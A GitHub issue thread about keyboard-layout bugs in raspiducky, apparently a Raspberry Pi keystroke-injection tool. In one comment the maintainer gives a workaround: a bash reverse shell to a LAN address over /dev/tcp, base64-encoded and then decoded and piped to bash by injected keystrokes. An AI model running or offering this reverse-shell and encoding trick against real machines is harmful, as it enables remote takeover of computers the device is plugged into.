Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

unable to print ">" or "<" symbols #1

Open
arrase opened this issue Mar 31, 2017 · 6 comments
Open

unable to print ">" or "<" symbols #1

arrase opened this issue Mar 31, 2017 · 6 comments
Labels

Comments

@arrase
Copy link
Owner

arrase commented Mar 31, 2017

key code 60 and 62 do no print the expected symbols

@arrase arrase added the bug label Apr 2, 2017
@name-here
Copy link

name-here commented Apr 17, 2017

For me at least, when told to print "/" or "|" it does not print the correct characters. Instead of "/" it prints "&" and instead of "|" it prints "¡". Also, "=" turns to ")" and "_" turns to "-"

@arrase
Copy link
Owner Author

arrase commented Apr 18, 2017

did you try adjust your keyboard layout at /etc/raspiducky/keyboard_layouts/current.py?

Those symbols are well printed , looks like you only need to change it for your layout, by example, currently "|" is "right-alt 1", is good that combo for your layout? if not just change it

@arrase
Copy link
Owner Author

arrase commented Apr 18, 2017

in the other hand, there is a workaround when a symbol can't be printed, just convert your string to base64, by example for run a reverse shell when you are unable to print < or > :

  bash -i >& /dev/tcp/192.168.1.254/6000 0>&1

You can:

  echo "bash -i >& /dev/tcp/192.168.1.254/6000 0>&1" | base64

And run that with raspiducky:

  STRING echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMjU0LzYwMDAgMD4mMQo= | base64 --decode | bash

@name-here
Copy link

Thanks. That fixed the problem. But for some reason capital letters print as lowercase. Any idea why?

@arrase
Copy link
Owner Author

arrase commented Apr 18, 2017

hmmm, maybe...i have to take a look later , but i think you are right and that problem with capital letters needs to be fixed at Raspiducky

Thank you for the feedback

@arrase
Copy link
Owner Author

arrase commented Apr 19, 2017

Upper case support is done :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants